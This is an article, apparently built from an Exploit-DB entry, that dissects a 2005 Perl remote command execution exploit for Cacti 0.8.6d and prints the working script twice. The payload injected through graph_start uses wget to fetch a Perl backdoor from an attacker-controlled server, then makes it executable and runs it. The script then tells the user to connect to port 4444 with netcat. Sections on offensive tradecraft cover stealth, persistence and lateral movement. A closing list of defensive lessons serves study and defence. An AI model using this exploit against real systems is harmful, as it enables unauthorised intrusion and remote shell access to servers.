Cacti 0.8.6d Remote Command Execution: A Deep Dive for Offensive Teams

Cacti 0.8.6d Remote Command Execution: A Deep Dive for Offensive Teams
What this paper is
This paper details a vulnerability in Cacti versions 0.8.6d and earlier that allows an attacker to execute arbitrary commands on the target server. The exploit leverages a flaw in how Cacti handles graph image generation to inject and run commands. The author, Alberto Trivero, published this exploit in 2005.
Simple technical breakdown
The core of the vulnerability lies in the graph_image.php script. When generating graph images, Cacti uses a parameter called graph_start. The exploit crafts a malicious value for graph_start that includes shell commands. Because Cacti doesn't properly sanitize or escape this input, these commands are executed by the web server.
The exploit specifically targets the local_graph_id parameter, which is used to identify a graph. The attacker first retrieves a valid local_graph_id from the graph_view.php page. Then, they construct a URL that includes the local_graph_id and the crafted graph_start parameter. This graph_start parameter contains a sequence of commands designed to download, make executable, and then run a Perl backdoor shell from a remote attacker-controlled server.
Complete code and payload walkthrough
The provided Perl script is the exploit itself. Let's break it down:
#!/usr/bin/perl
#
# Remote Command Execution Exploit for Cacti <= 0.8.6d
#
# This exploit open a remote shell on the targets that uses Cacti
# TARGET HOST MUST BE A GNU/LINUX SERVER, if not:
# manual exploiting --> http://www.example.com/cacti/graph_image.php?local_graph_id=[valid_value]&graph_start=%0a[command]%0a
# Patch: download the last version http://www.cacti.net/download_cacti.php
# Discovered and Coded by Alberto Trivero
use LWP::Simple; # Imports the LWP::Simple module for making HTTP requests.
print "\n\t===============================\n";
print "\t= Exploit for Cacti <= 0.8.6d =\n";
print "\t= by Alberto Trivero =\n";
print "\t===============================\n\n"; # Prints a banner for the exploit.
if(@ARGV<2 or !($ARGV[1]=~m/\//)) { # Checks if the correct number of command-line arguments are provided and if the path argument contains a forward slash.
print "Usage:\nperl $0 [target] [path]\n\nExamples:\nperl $0 www.example.com /cacti/\n"; # Prints usage instructions if arguments are incorrect.
exit(0); # Exits the script.
}
$page=get("http://".$ARGV[0].$ARGV[1]."graph_view.php?action=list") || die "[-] Unable to retrieve: $!"; # Makes an HTTP GET request to retrieve the content of graph_view.php to find a valid local_graph_id.
print "[+] Connected to: $ARGV[0]\n"; # Informs the user that a connection was established.
$page=~m/local_graph_id=(.*?)&/ || die "[-] Unable to retrieve a value for local_graph_id"; # Uses a regular expression to extract the value of local_graph_id from the retrieved page content.
print "[~] Sending exploiting request, wait for some seconds/minutes...\n"; # Informs the user that the exploit payload is being sent.
get("http://".$ARGV[0].$ARGV[1]."graph_image.php?local_graph_id=$1&graph_start=%0acd /tmp;wget http://server/shell.pl;chmod 777 shell.pl;perl shell.pl%0a"); # This is the core exploit request.
# Breakdown of the payload within graph_start:
# %0a : URL-encoded newline character. This is used to effectively start a new command.
# cd /tmp; : Changes the current directory to /tmp. This is a common location for temporary files and often writable.
# wget http://server/shell.pl; : Downloads a Perl script named 'shell.pl' from the attacker-controlled 'server'. The attacker needs to host this malicious script.
# chmod 777 shell.pl; : Makes the downloaded script executable with full permissions (read, write, execute for owner, group, and others).
# perl shell.pl : Executes the downloaded Perl script. This script is expected to establish a reverse shell back to the attacker.
# %0a : Another URL-encoded newline character, potentially to ensure the command terminates cleanly.
print "[+] Exploiting request done!\n"; # Informs the user that the exploit request has been sent.
print "[*] Now try on your box: nc -v $ARGV[0] 4444\n"; # Instructs the user to connect to the target host on port 4444 using netcat, assuming the backdoor shell listens on this port.
# milw0rm.com [2005-06-22]Mapping list:
#!/usr/bin/perl: Shebang line, indicates the script should be executed with Perl.use LWP::Simple;: Imports a Perl module for making HTTP requests.print ...: Banner and informational messages.if(@ARGV<2 or !($ARGV[1]=~m/\//)) { ... }: Argument validation. Checks for at least two arguments and that the second argument (path) contains a/.$page=get("http://".$ARGV[0].$ARGV[1]."graph_view.php?action=list"): Retrieves the content ofgraph_view.phpto find a validlocal_graph_id.$page=~m/local_graph_id=(.*?)&/: Extracts thelocal_graph_idvalue using a regular expression. The(.*?)captures any characters non-greedily until the next&.get("http://".$ARGV[0].$ARGV[1]."graph_image.php?local_graph_id=$1&graph_start=%0acd /tmp;wget http://server/shell.pl;chmod 777 shell.pl;perl shell.pl%0a"): The core exploit request.local_graph_id=$1: Uses the capturedlocal_graph_id.graph_start=%0acd /tmp;wget http://server/shell.pl;chmod 777 shell.pl;perl shell.pl%0a: The injected command sequence.%0a: URL-encoded newline, acts as a command separator.cd /tmp;: Changes directory to/tmp.wget http://server/shell.pl;: Downloads the attacker's backdoor script.chmod 777 shell.pl;: Grants execute permissions to the downloaded script.perl shell.pl: Executes the backdoor script.%0a: Another newline.
print "[*] Now try on your box: nc -v $ARGV[0] 4444\n";: Instructs the operator to connect to the target on port 4444.
Shellcode/Payload Segment Explanation:
The "shellcode" here isn't traditional machine code but a sequence of shell commands embedded within a URL parameter.
- Stage 1: Command Injection and Preparation
%0acd /tmp;: The initial command injection.%0ais a URL-encoded newline, which effectively separates commands in contexts where they might be concatenated.cd /tmp;changes the working directory to/tmp. This is a common choice as it's usually writable and temporary.
- Stage 2: Payload Delivery
wget http://server/shell.pl;: This command downloads the actual backdoor payload,shell.pl, from an attacker-controlled web server (http://server/). The attacker must ensure thisserveris accessible from the target and hosts theshell.plfile.
- Stage 3: Payload Execution Enablement
chmod 777 shell.pl;: This command grants execute permissions (read, write, and execute for owner, group, and others) to the downloadedshell.plscript. This is crucial for the script to be runnable.
- Stage 4: Backdoor Activation
perl shell.pl%0a: This command executes the downloaded Perl backdoor script. The script is expected to establish a reverse shell connection back to the attacker, likely on a predefined port (in this case, the exploit suggests port 4444).
Practical details for offensive operations teams
- Required Access Level: Unauthenticated access to the web application is sufficient. The exploit targets a publicly accessible script.
- Lab Preconditions:
- A vulnerable Cacti installation (version 0.8.6d or earlier).
- A GNU/Linux target server running Cacti.
- An attacker-controlled web server to host the
shell.plbackdoor. - A listener (e.g.,
netcat) running on the attacker's machine, ready to receive the reverse shell on port 4444 (or whatever port theshell.plscript is configured to use). - Network connectivity from the target Cacti server to the attacker's hosting server (for
wget) and from the target Cacti server back to the attacker's listener (for the reverse shell).
- Tooling Assumptions:
- Perl interpreter on the attacker's machine.
wgetutility on the target server (highly common on Linux).netcat(or similar) for receiving the reverse shell.
- Execution Pitfalls:
local_graph_idnot found: If thegraph_view.phppage doesn't contain alocal_graph_idin the expected format, the exploit will fail. This might happen if the Cacti installation is heavily customized or if the page structure has changed.- Network Restrictions: Firewalls on the target network could block outbound
wgetrequests to the attacker's server or block inbound reverse shell connections back to the attacker. wgetorperlnot available: Ifwgetorperlare not installed on the target server, the payload delivery and execution will fail./tmpnot writable: While/tmpis usually writable, some hardened systems might restrict write access.shell.plhosting issues: The attacker'sservermust be up, accessible, and correctly serving theshell.plfile. Theshell.plscript itself must be functional and correctly configured to connect back.- Antivirus/IDS: Modern security solutions might detect the
wgetcommand, thechmod 777command, or the execution of an unknown Perl script. - Target OS: The exploit explicitly states "TARGET HOST MUST BE A GNU/LINUX SERVER". It will not work on Windows or other OSes without modification.
- Tradecraft Considerations:
- Stealth: The initial request to
graph_view.phpis relatively benign. The exploit request itself is a GET request with a long URL, which might be logged. The subsequentwgetandperlexecution are significant indicators. - Payload: The
shell.plscript is the critical piece. Its content and how it's hosted are key. For a more advanced operation, the attacker might use a more sophisticated payload or obfuscate the download/execution steps. - Persistence: This exploit does not inherently provide persistence. The attacker would need to implement persistence mechanisms within their
shell.plscript. - Lateral Movement: Once a shell is obtained, the focus would shift to privilege escalation and lateral movement within the network.
- Stealth: The initial request to
Where this was used and when
- Context: This exploit targets the Cacti network monitoring application. It was likely used against organizations that deployed Cacti for network graphing and monitoring.
- Timeframe: Published in June 2005. This indicates its relevance in the mid-2000s. Exploits from this era often targeted web applications with less mature input validation and security practices.
Defensive lessons for modern teams
- Input Validation: Always validate and sanitize user-supplied input, especially when it's used in commands or file paths. This is a fundamental principle.
- Least Privilege: Ensure web server processes run with the minimum necessary privileges. This limits the impact of a successful compromise (e.g., preventing execution of arbitrary commands if the web server user cannot write to
/tmpor execute scripts). - Patch Management: Keep all software, including web applications like Cacti, updated to the latest stable versions. This vulnerability was patched in later versions.
- Network Segmentation and Firewalls: Implement egress filtering to prevent outbound connections to untrusted external servers (like the attacker's
serverforwget). Also, restrict inbound connections. - File Integrity Monitoring: Monitor critical directories like
/tmpfor unexpected file creations or modifications, especially executable scripts. - Web Application Firewalls (WAFs): A WAF can help detect and block malicious URL patterns, command injection attempts, and suspicious GET requests.
- Logging and Monitoring: Ensure comprehensive logging of web server access and application events. Monitor logs for suspicious patterns, such as long URLs with command-like sequences.
ASCII visual (if applicable)
+-------------------+ +-------------------+ +-------------------+
| Attacker Machine | --> | Target Cacti App | --> | Target Web Server |
| (Perl Exploit) | | (Vulnerable) | | (Linux) |
+-------------------+ +-------------------+ +-------------------+
| | |
| 1. GET graph_view.php | |
| (to get ID) | |
|-------------------------| |
| 2. GET graph_image.php | |
| (with payload) | |
|-------------------------| |
| | |
| | 3. wget shell.pl |
| | (from Attacker's |
| | web server) |
| |-------------------------|
| | 4. chmod 777 shell.pl |
| |-------------------------|
| | 5. perl shell.pl |
| | (Executes backdoor) |
| |-------------------------|
| | |
|-------------------------| 6. Reverse Shell |
| 7. nc -v target 4444 | (to Attacker) |
+-------------------------+-------------------------+Source references
- PAPER ID: 1062
- PAPER TITLE: Cacti 0.8.6d - Remote Command Execution
- AUTHOR: Alberto Trivero
- PUBLISHED: 2005-06-22
- KEYWORDS: PHP, webapps
- PAPER URL: https://www.exploit-db.com/papers/1062
- RAW URL: https://www.exploit-db.com/raw/1062
Original Exploit-DB Content (Verbatim)
# Note:
# This exploit contains backdoor shell code that is not located on this server.
# /str0ke
#!/usr/bin/perl
#
# Remote Command Execution Exploit for Cacti <= 0.8.6d
#
# This exploit open a remote shell on the targets that uses Cacti
# TARGET HOST MUST BE A GNU/LINUX SERVER, if not:
# manual exploiting --> http://www.example.com/cacti/graph_image.php?local_graph_id=[valid_value]&graph_start=%0a[command]%0a
# Patch: download the last version http://www.cacti.net/download_cacti.php
# Discovered and Coded by Alberto Trivero
use LWP::Simple;
print "\n\t===============================\n";
print "\t= Exploit for Cacti <= 0.8.6d =\n";
print "\t= by Alberto Trivero =\n";
print "\t===============================\n\n";
if(@ARGV<2 or !($ARGV[1]=~m/\//)) {
print "Usage:\nperl $0 [target] [path]\n\nExamples:\nperl $0 www.example.com /cacti/\n";
exit(0);
}
$page=get("http://".$ARGV[0].$ARGV[1]."graph_view.php?action=list") || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/local_graph_id=(.*?)&/ || die "[-] Unable to retrieve a value for local_graph_id";
print "[~] Sending exploiting request, wait for some seconds/minutes...\n";
get("http://".$ARGV[0].$ARGV[1]."graph_image.php?local_graph_id=$1&graph_start=%0acd /tmp;wget http://server/shell.pl;chmod 777 shell.pl;perl shell.pl%0a");
print "[+] Exploiting request done!\n";
print "[*] Now try on your box: nc -v $ARGV[0] 4444\n";
# milw0rm.com [2005-06-22]